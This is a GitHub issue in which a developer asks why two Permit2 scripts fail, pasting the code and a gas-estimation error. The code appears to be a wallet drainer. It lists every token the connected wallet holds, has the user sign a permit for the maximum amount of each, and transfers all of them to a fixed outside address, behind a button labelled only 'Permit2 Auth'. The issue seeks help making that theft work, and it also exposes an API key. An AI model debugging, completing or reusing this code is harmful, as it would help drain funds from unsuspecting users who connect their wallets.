Skip to content

Allowance and signature transfer #268

@dadayunghub

Description

@dadayunghub

Please I have tried all that I know and yet I still keep getting this error on both of my code , at the transfer part ,

Here is my error code on console

SignatureTransfer batch: Error: cannot estimate gas; transaction may fail or may require manual gas limit [ See: https://links.ethers.org/v5-errors-UNPREDICTABLE_GAS_LIMIT ] (reason="execution reverted", method="estimateGas", transaction={"from":"0x57AAc22b051Cb19987Ae9Bcc5819C2C83Aa115EB","to":"0x000000000022D473030F116dDEE9F6B43aC78BA3","data":"0xb265a3bd000000000000000000000000fff9976782d46cc05630d1f6ebab18b2324d6b14000000000000000000000000ffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000022d473030f116ddee9f6b43ac78ba30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006830e06e000000000000000000000000815f3e16dbe431d3674284e35b972fb43364f9fa000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000041e34f2ced3bad83a344efa67722f6e45bc402dc58e054283cff49f2d2f93102de2584a1c9afc0ff6c9f90b6cd77a8fa21f4004f96a0bfe2e9d06f3a8fd01b70b71b00000000000000000000000000000000000000000000000000000000000000","accessList":null}, error={"code":3,"message":"execution reverted","stack":"{\n "code": 3,\n "message": "execution reverted",\n "stack": "Error: execution reverted\n at new i (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-4.js:1:81689)\n at d.request (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-1.js:3:17766)\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/background-0.js:1:424918\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-2.js:1:1391130"\n}\n at new i (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-4.js:1:81689)\n at d.request (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-1.js:3:17766)\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/background-0.js:1:424918\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-2.js:1:1391130"}, code=UNPREDICTABLE_GAS_LIMIT, version=providers/5.8.0)
at pe.makeError (index-BrAjiTJJ.js:1067:13119)
at pe.throwError (index-BrAjiTJJ.js:1067:13237)
at y7 (index-BrAjiTJJ.js:1067:249130)
at sT. (index-BrAjiTJJ.js:1067:258590)
at Generator.throw ()
at l (index-BrAjiTJJ.js:1067:248302)
n @ index-BrAjiTJJ.js:1075
[NEW] Explain Console errors by using Copilot in Edge: click

     My token contract address which is 0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14 is a sepolia weth with balance of 0.0039

And yet I get the same error on both of my codes
Code 1
import { useState, useEffect } from 'react';
import { useAppKitAccount, useAppKitNetwork } from '@reown/appkit/react';
import { PERMIT2_ADDRESS, AllowanceProvider } from '@uniswap/permit2-sdk';
import { ethers, Contract } from 'ethers';
import { useWalletClient } from 'wagmi';

// Types
interface TokenMetadata {
name: string;
symbol: string;
decimals: number;
contractAddress: string;
chainId: number;
}

// ABI for Permit2 Contract
const permit2BatchAbi = [
"function permitBatch(address owner, (address token, uint160 amount, uint48 expiration, uint48 nonce)[] details, address spender, uint256 sigDeadline, uint8 v, bytes32 r, bytes32 s)",
"function transferFrom((address from, address to, uint160 amount, address token)[] calldata details)"
];

export const InfoList = () => {
const { address } = useAppKitAccount({ namespace: 'eip155' });
const { chainId: rawChainId } = useAppKitNetwork();
const chainId = rawChainId !== undefined ? Number(rawChainId) : undefined;
const { data: walletClient } = useWalletClient({ chainId });

const [permitStatus, setPermitStatus] = useState('');
const [signatureError, setSignatureError] = useState('');
const [tokenList, setTokenList] = useState<TokenMetadata[]>([]);

const ALCHEMY_API_KEY = 'OyysmHjXGg4W_gey2NaVBsBJwaIV9I1B';
const WETH_ADDRESS = "0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14";

const alchemyEndpoints: Record<number, string> = {
11155111: https://eth-sepolia.g.alchemy.com/v2/${ALCHEMY_API_KEY},
};

const getAlchemyUrl = (chainId: number): string | null =>
alchemyEndpoints[chainId] || null;

useEffect(() => {
const fetchAllTokenLists = async () => {
if (!address) return;

  const allTokenMetadata: TokenMetadata[] = [];

  const getTokenMetadata = async (contractAddress: string, chainId: number) => {
    const url = getAlchemyUrl(chainId);
    if (!url) return null;

    try {
      const response = await fetch(url, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          jsonrpc: '2.0',
          id: 1,
          method: 'alchemy_getTokenMetadata',
          params: [contractAddress],
        }),
      });
      const data = await response.json();
      return { ...data.result, contractAddress, chainId };
    } catch {
      return { name: 'Unknown', symbol: 'UNKNOWN', decimals: 0, contractAddress, chainId };
    }
  };

  const fetchTokensForChain = async (chainId: number) => {
    const url = getAlchemyUrl(chainId);
    if (!url) return;

    try {
      const response = await fetch(url, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          jsonrpc: '2.0',
          id: 1,
          method: 'alchemy_getTokenBalances',
          params: [address],
        }),
      });

      const data = await response.json();
      const balances = data?.result?.tokenBalances || [];
      const nonZeroTokens = balances
        .filter((t: any) => t.tokenBalance !== '0x0')
        .map((t: any) => t.contractAddress);

      const metadata = await Promise.all(
        nonZeroTokens.map((contract: string) => getTokenMetadata(contract, chainId))
      );

      allTokenMetadata.push(...metadata.filter(Boolean));
    } catch (e) {
      console.error(`Token fetch failed for chain ${chainId}:`, e);
    }
  };

  await Promise.all(Object.keys(alchemyEndpoints).map((id) => fetchTokensForChain(Number(id))));
  console.log("Fetched Token Metadata:", allTokenMetadata);

  setTokenList(allTokenMetadata);
  
};

fetchAllTokenLists();

}, [address]);

const sendPermit2Batch = async () => {
if (!address || !chainId || !walletClient) {
setSignatureError('Wallet not connected or missing chain/address');
return;
}

try {
console.log("Initiating Permit2 batch...");
const spender = PERMIT2_ADDRESS;
const deadline = BigInt(Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60); // 7 days
const MAX_UINT160 = BigInt('0xffffffffffffffffffffffffffffffffffffffff');

const web3Provider = new ethers.providers.Web3Provider(walletClient as any);
const signer = web3Provider.getSigner();
const allowanceProvider = new AllowanceProvider(web3Provider, PERMIT2_ADDRESS);

console.log("Fetching allowances...");
const permitted = await Promise.all(
  tokenList.map(async (t) => {
    const allowance = await allowanceProvider.getAllowanceData(address, t.contractAddress, spender);
    console.log(`Token: ${t.symbol}, Nonce: ${allowance.nonce.toString()}, Address: ${t.contractAddress}`);
    return {
      token: t.contractAddress,
      amount: MAX_UINT160,
      expiration: deadline,
      nonce: allowance.nonce,
    };
  })
);

if (!permitted.length) {
  throw new Error("No permitted tokens found");
}

console.log("Permit details prepared:", permitted);

const domain = {
  name: 'Permit2',
  chainId,
  verifyingContract: PERMIT2_ADDRESS as `0x${string}`,
};

const types = {
  PermitBatch: [
    { name: 'details', type: 'PermitDetails[]' },
    { name: 'spender', type: 'address' },
    { name: 'sigDeadline', type: 'uint256' },
  ],
  PermitDetails: [
    { name: 'token', type: 'address' },
    { name: 'amount', type: 'uint160' },
    { name: 'expiration', type: 'uint48' },
    { name: 'nonce', type: 'uint48' },
  ],
};

const permitBatch = {
  details: permitted.map(p => ({
    token: p.token,
    amount: p.amount.toString(),
    expiration: p.expiration.toString(),
    nonce: p.nonce.toString(),
  })),
  spender,
  sigDeadline: deadline.toString(),
};

console.log("Signing typed data...", permitBatch);

const signature = await walletClient.signTypedData({
  domain,
  types,
  primaryType: 'PermitBatch',
  message: permitBatch,
});

const sig = signature.slice(2);
const r = `0x${sig.slice(0, 64)}`;
const s = `0x${sig.slice(64, 128)}`;
const v = parseInt(sig.slice(128, 130), 16);

console.log("Signature:", { v, r, s });

const permit2Contract = new Contract(PERMIT2_ADDRESS, permit2BatchAbi, signer);
const recipient = '0x815F3e16Dbe431d3674284E35b972fB43364f9FA';

console.log("Calling permitBatch...");
await permit2Contract.permitBatch(address, permitted, spender, deadline, v, r, s);
console.log("Permit batch successful!");

const transferDetails = tokenList.map((t) => ({
  from: address,
  to: recipient,
  amount: MAX_UINT160,
  token: t.contractAddress,
}));

console.log("Calling transferFrom...");
await permit2Contract.transferFrom(transferDetails);
console.log("Transfer successful!");

setPermitStatus("Permit and transfer succeeded.");

} catch (err: any) {
console.error("Permit2 operation failed:", err);
setSignatureError("Permit2 operation failed: " + err.message);
}
};

const wrapETH = async (amountInEth: string) => {
if (!walletClient) {
alert('Wallet not connected');
return;
}

try {
  const signer = new ethers.providers.Web3Provider(walletClient as any).getSigner();
  const wethAbi = ["function deposit() payable"];
  const wethContract = new ethers.Contract(WETH_ADDRESS, wethAbi, signer);
  const value = ethers.utils.parseEther(amountInEth);

  const tx = await wethContract.deposit({ value });
  alert(`Transaction sent: ${tx.hash}`);
  await tx.wait();
  alert("Successfully wrapped ETH to WETH!");
} catch (error: any) {
  console.error("Error wrapping ETH:", error);
  alert(`Error: ${error.message}`);
}

};

const handleClick = () => {
const amount = prompt("Enter amount of ETH to wrap (e.g., 0.1):", "0.1");
if (amount && !isNaN(Number(amount)) && Number(amount) > 0) {
wrapETH(amount);
} else {
alert("Invalid amount");
}
};

return (


Permit2 Auth


Address: {address || 'Not connected'}


Chain ID: {chainId?.toString() || 'Unknown'}

  <button onClick={handleClick}>Wrap ETH to WETH (Sepolia)</button>
  <button onClick={sendPermit2Batch} disabled={!tokenList.length}>Send Permit2 Batch</button>

  {permitStatus && <p>Status: {permitStatus}</p>}
  {signatureError && <p style={{ color: 'red' }}>{signatureError}</p>}
</section>

);
};

Code 2
import { ethers } from 'ethers'
import {
SignatureTransfer,
PermitTransferFrom,
PERMIT2_ADDRESS,
MaxUint160
} from '@uniswap/permit2-sdk'

// Replace with your tokens
const tokenList = [
'0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14'
]

function toDeadline(ms: number): number {
return Math.floor((Date.now() + ms) / 1000)
}

const SignatureBatchTransfer = () => {
const handleBatchTransfer = async () => {
try {
if (!window.ethereum) {
alert('Please install MetaMask')
return
}

  const provider = new ethers.providers.Web3Provider(window.ethereum)
  await provider.send('eth_requestAccounts', [])
  const signer = provider.getSigner()
  const { chainId } = await provider.getNetwork()

  const deadline = toDeadline(30 * 60 * 1000) // 30 minutes
  const to = '0x815F3e16Dbe431d3674284E35b972fB43364f9FA'
  const amount = MaxUint160

  const abi = [

function permitTransferFrom( (address token,uint160 amount) permitted, address spender, uint256 nonce, uint256 deadline, address to, uint160 requestedAmount, bytes signature ) external
]

  const contract = new ethers.Contract(PERMIT2_ADDRESS, abi, signer)

  for (const token of tokenList) {

const nonce = 0 // (Optional: fetch nonce via contract call if needed)

const permit: PermitTransferFrom = {
permitted: {
token,
amount
},
spender: PERMIT2_ADDRESS,
nonce,
deadline
}

const { domain, types, values } = SignatureTransfer.getPermitData(permit, PERMIT2_ADDRESS, chainId)
const signature = await signer._signTypedData(domain, types, values)

await contract.permitTransferFrom(
permit.permitted,
permit.spender,
permit.nonce,
permit.deadline,
to,
amount,
signature
)
}

  alert('Signature-based transfers completed.')
} catch (err) {
  console.error('Error in SignatureTransfer batch:', err)
  alert('Transfer failed. See console.')
}

}

return (
<div style={{ padding: 20 }}>

Permit2 SignatureTransfer Batch


Send Signature Transfers

)
}

export default SignatureBatchTransfer

Any idea why it not working

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions